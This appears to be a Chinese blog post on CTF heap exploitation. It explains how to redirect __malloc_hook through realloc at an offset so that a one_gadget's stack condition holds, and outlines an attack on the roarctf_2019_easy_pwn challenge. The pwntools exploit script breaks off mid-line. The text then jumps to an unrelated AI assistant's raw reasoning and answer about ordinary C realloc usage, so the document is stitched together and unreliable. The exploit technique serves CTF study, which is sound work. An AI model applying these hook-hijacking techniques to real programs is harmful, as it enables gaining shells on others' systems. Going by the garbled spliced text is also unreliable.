利用realloc调整栈使one_gadget生效

本文详细讲述了在堆栈保护开启时,如何通过覆盖realloc函数来调整栈帧,以便于利用one_gadget漏洞。作者以64位libc-2.23.so为例,介绍了one_gadget的生效条件和realloc函数的利用策略,重点讲解了roarctf_2019_easy_pwn和vn_pwn_simpleHeap两个案例的攻破方法。

前言

当堆题保护全开的时候。PIE保护几乎使得unlink失效(除非能够计算出程序基址),FULL RELEO也使得函数GOT表不可修改。此时常覆盖各种函数的hook为one_gadget来getshell。

我常考虑的顺序是:

free_hook->malloc_hook->IO_FILE->exit_hook

若有沙盒限制,则考虑setcontext

free_hook不可打时(例如Fastbin Attack时free_hook前不能构造字节错位),我们往往就会打malloc_hook。此篇文章基于将malloc_hook覆盖为one_gadget,且one_gadget全失效的情况,如何用realloc的小trick调整栈,使得one_gadget可执行。

one_gadget成功条件

以64位libc-2.23.so为例,各个one_gadget生效的条件如下:

1

如图,0x4526a的one_gadget生效条件为:[rsp+0x30]==NULL。

要使该one_gadget生效,只需让rsp+0x30位置处数据为NULL即可。

realloc函数分析

realloc函数与malloc,free等函数执行流程一致,

均为:检查其对应hook是否为NULL,若不为NULL,则调用相应hook。

不同的是,realloc函数相较于malloc与free,多了很多push和sub操作,我们可以通过这个来达到调整栈的目的。

以64位libc-2.23.so为例,将libc-2.23.so拖进IDA,找到realloc函数:

2

因此我们可以用realloc_addr+offset的方式来调整栈,offset可取0,2,4,6,12,13。依次减少了push的次数。push指令会减小rsp的值,减少push指令个数相当于抬高栈,有利于满足rsp+0x30==NULL。

利用过程

realloc_hook覆盖为one_gadget,然后将malloc_hook覆盖为realloc_addr+offset

这样劫持后的实际运行顺序:

malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget

例题

roarctf_2019_easy_pwn

程序分析

  • 保护全开
  • edit函数中:若满足输入长度等于申请堆块大小+10,则有一个off by one漏洞
  • free_hook可打,可以构造字节错位,但是不知道为什么莫名其妙会报错。

pwn

很简单的一道题,具体流程:

  • off by one 构造 chunk extend
  • 在大堆块中构建一个fake_chunk,free掉这个fake_chunk(大小得能落入unsortedbin),通过show大堆块,泄露libc基址
  • 通过Fastbin Double Free和Arbitrary Alloc打malloc_hook

关于offset的选择

可以调试,不过具体调试起来,并不是少一个push,就达到[rsp+0x20]=[rsp+0x28]的效果,少部分的某些地址可能还是会被写入其他值,因此一个一个试比较快/doge。

exp

from pwn import *

context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn')
elf =  ELF('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn')
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.23-64.so')

def new(size):
    r.recvuntil(b"choice: ")
    r.sendline(b'1')
    r.recvuntil(b"size: ")
    r.sendline(str(size))

def edit(id,size,content):
    r.recvuntil(b"choice: ")
    r.sendline(b'2')
    r.recvuntil(b"index: ")
    r.sendline(str(id))
    r.recvuntil(b"size: ")
    r.sendline(str(size))
    r.recvuntil(b"content: ")
    r.sendline(content)

def delete(id):
    r.recvuntil(b"choice: ")
    r.sendline(b'3')
    r.recvuntil(b"index: ")
    r.sendline(str(id))

def show(id):
    r.recvuntil
<think> 我们正在讨论C语言中的`realloc`函数,具体是语句`realloc(array, new_capacity * sizeof(int))`的含义。 根据引用[1]中的示例,我们了解到`realloc`用于重新分配内存空间。下面我将详细解释这个语句。 解释: 1. `realloc`函数的作用是调整之前分配的内存块的大小。 2. 第一个参数`array`是之前通过`malloc`, `calloc`或`realloc`分配的内存指针。 3. 第二个参数`new_capacity * sizeof(int)`表示要分配的新内存块的总字节数。 - `new_capacity`:表示新的容量(即可以存储多少个整数) - `sizeof(int)`:一个整数占用的字节数(在不同系统上可能不同,通常是4字节) - 因此,`new_capacity * sizeof(int)`就是新内存块的总字节数。 4. 函数行为: - 如果`array`为`NULL`,则`realloc`等价于`malloc(new_capacity * sizeof(int))`,即分配一块新的内存。 - 如果`new_capacity`为0,则`realloc`会释放原来的内存块,并返回`NULL`(类似于`free`)。 - 否则,它会尝试调整传入指针指向的内存块的大小。 5. 调整内存大小的过程: - 如果原内存块后面有足够的连续空间,那么就直接在原内存块后面扩展,返回的指针和原指针相同。 - 如果没有足够的连续空间,则会寻找一块足够大的新内存区域,将原内存块的内容复制到新区域,然后释放原内存块,返回新内存块的地址。 6. 返回值: - 成功:返回指向重新分配内存的指针(可能与原指针不同,也可能相同) - 失败:返回`NULL`,此时原内存块保持不变(不会被释放) 7. 注意事项: - 使用`realloc`后,必须使用返回值更新指针(因为地址可能改变)。 - 必须检查返回值是否为`NULL`,以判断是否分配成功。 - 如果分配失败,原指针仍然有效,需要继续使用或适时释放,避免内存泄漏。 示例(根据引用[1]修改): ```c int* array = (int*)malloc(10 * sizeof(int)); // 初始分配10个int的空间 if (array == NULL) { // 处理分配失败 } // ... 使用array ... // 现在需要扩容到20个int int new_capacity = 20; int* new_array = (int*)realloc(array, new_capacity * sizeof(int)); if (new_array == NULL) { // 扩容失败,但原array仍然有效,可以继续使用(但空间还是原来的大小)或者进行错误处理 // 注意:此时不能释放array,因为还在使用,或者根据业务逻辑决定是否释放 printf("realloc failed: %s\n", strerror(errno)); // 这里我们选择不释放,因为可能还要用原来的数组,但实际中根据情况处理 } else { // 扩容成功,更新指针 array = new_array; // 现在array指向的空间大小为20个int } // 使用扩容后的array // ... // 最后记得释放 free(array); ``` 在动态数组(如动态字符串,引用[2]中的HString)中,`realloc`常用于扩容操作,例如当数组元素数量达到容量上限时,将容量扩大一倍(即`new_capacity = capacity * 2`),然后使用`realloc`重新分配更大的内存空间。 引用[2]中的示例展示了在堆字符串(HString)中使用`realloc`进行扩容的可能性(注释中提到了Concat操作时如果空间不足就realloc),但具体代码没有给出。我们可以根据引用[1]中的示例来理解。 总结:`realloc(array, new_capacity * sizeof(int))`的作用是将指针`array`指向的内存块大小调整为`new_capacity * sizeof(int)`字节,并返回调整后的内存地址。使用时要小心处理返回值,避免内存泄漏和悬空指针。 §§相关问题§§ 1. 为什么`realloc`可能会返回不同的内存地址? 2. 使用`realloc`时如何处理分配失败的情况? 3. 在C++中,`realloc`能否用于重新分配由`new`分配的内存? 4. `realloc`在调整内存大小时,原内存块的内容会被保留吗? 5. 如何实现一个动态数组(如动态字符串)的自动扩容机制? </think> ### C语言中 `realloc(array, new_capacity * sizeof(int))` 的含义详解 #### 1. **核心功能** `realloc(array, new_capacity * sizeof(int))` 是C语言中用于**动态调整已分配内存大小**的标准函数: ```c void* realloc(void* ptr, size_t new_size); ``` - **`array`**:指向已分配内存块的指针(通常由`malloc`或`calloc`分配) - **`new_capacity * sizeof(int)`**:新内存块的总字节数 - `new_capacity`:新的整数元素容量(如从10扩容到20) - `sizeof(int)`:单个整数占用的字节数(通常为4字节) #### 2. **内存调整过程** 1. **检查原内存块**: - 若`array`为`NULL`,等价于`malloc(new_size)`[^1] - 若`new_size=0`,等价于`free(array)`并返回`NULL` 2. **扩容/缩容策略**: - **原地扩容**:若原内存块**后方有连续空闲空间**,直接扩展内存块 - **迁移扩容**:若无连续空间,则执行: - 分配新的连续内存块 - **复制原数据**到新空间(保留旧内容) - **释放原内存块** - 返回新空间地址 3. **返回值处理**: - 成功:返回**新内存块地址**(可能≠原地址) - 失败:返回`NULL`,**原内存块保持不变** #### 3. **正确使用模式 ```c // 初始分配 int* array = malloc(10 * sizeof(int)); // 分配40字节(假设int=4B) // 扩容操作(关键步骤) int new_capacity = 20; int* new_array = realloc(array, new_capacity * sizeof(int)); if (new_array == NULL) { // 扩容失败:原array仍有效 printf("Realloc failed: %s\n", strerror(errno)); } else { array = new_array; // 更新指针 // 此时array指向20个int的空间(80字节) } // 使用后释放 free(array); array = NULL; ``` #### 4. **典型应用场景** ##### 动态数组扩容(如引用[2]的HString实现) ```c typedef struct { int* data; // 数据指针 int count; // 当前元素数 int capacity; // 当前容量 } DynamicArray; void expand(DynamicArray* arr) { int new_capacity = arr->capacity * 2; // 容量翻倍 int* new_data = realloc(arr->data, new_capacity * sizeof(int)); if (new_data) { arr->data = new_data; arr->capacity = new_capacity; } // 否则处理失败 } ``` #### 5. **关键注意事项** 1. **内存管理**: - 必须用**返回值更新指针**(地址可能改变) - 失败时原内存仍有效,需手动处理 2. **数据保留**: - 扩容后**原数据自动保留**(包括缩容时多余数据被截断) 3. **性能影响**: - 迁移扩容涉及**数据复制**(时间复杂度$O(n)$) - 推荐指数级扩容(如`new_capacity = old_capacity * 2`)以均摊成本[^2] #### 6. **与相关函数的对比** | 函数 | 作用 | 是否保留原数据 | 是否自动释放原内存 | |-------------|--------------------------|----------------|--------------------| | `malloc` | 分配新内存 | ❌ | - | | `calloc` | 分配并清零内存 | ❌ | - | | `realloc` | 调整已分配内存大小 | ✔️ | ✔️ | | `free` | 释放内存 | - | - | > **最佳实践**:始终检查返回值,用临时变量接收`realloc`结果,避免内存泄漏。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值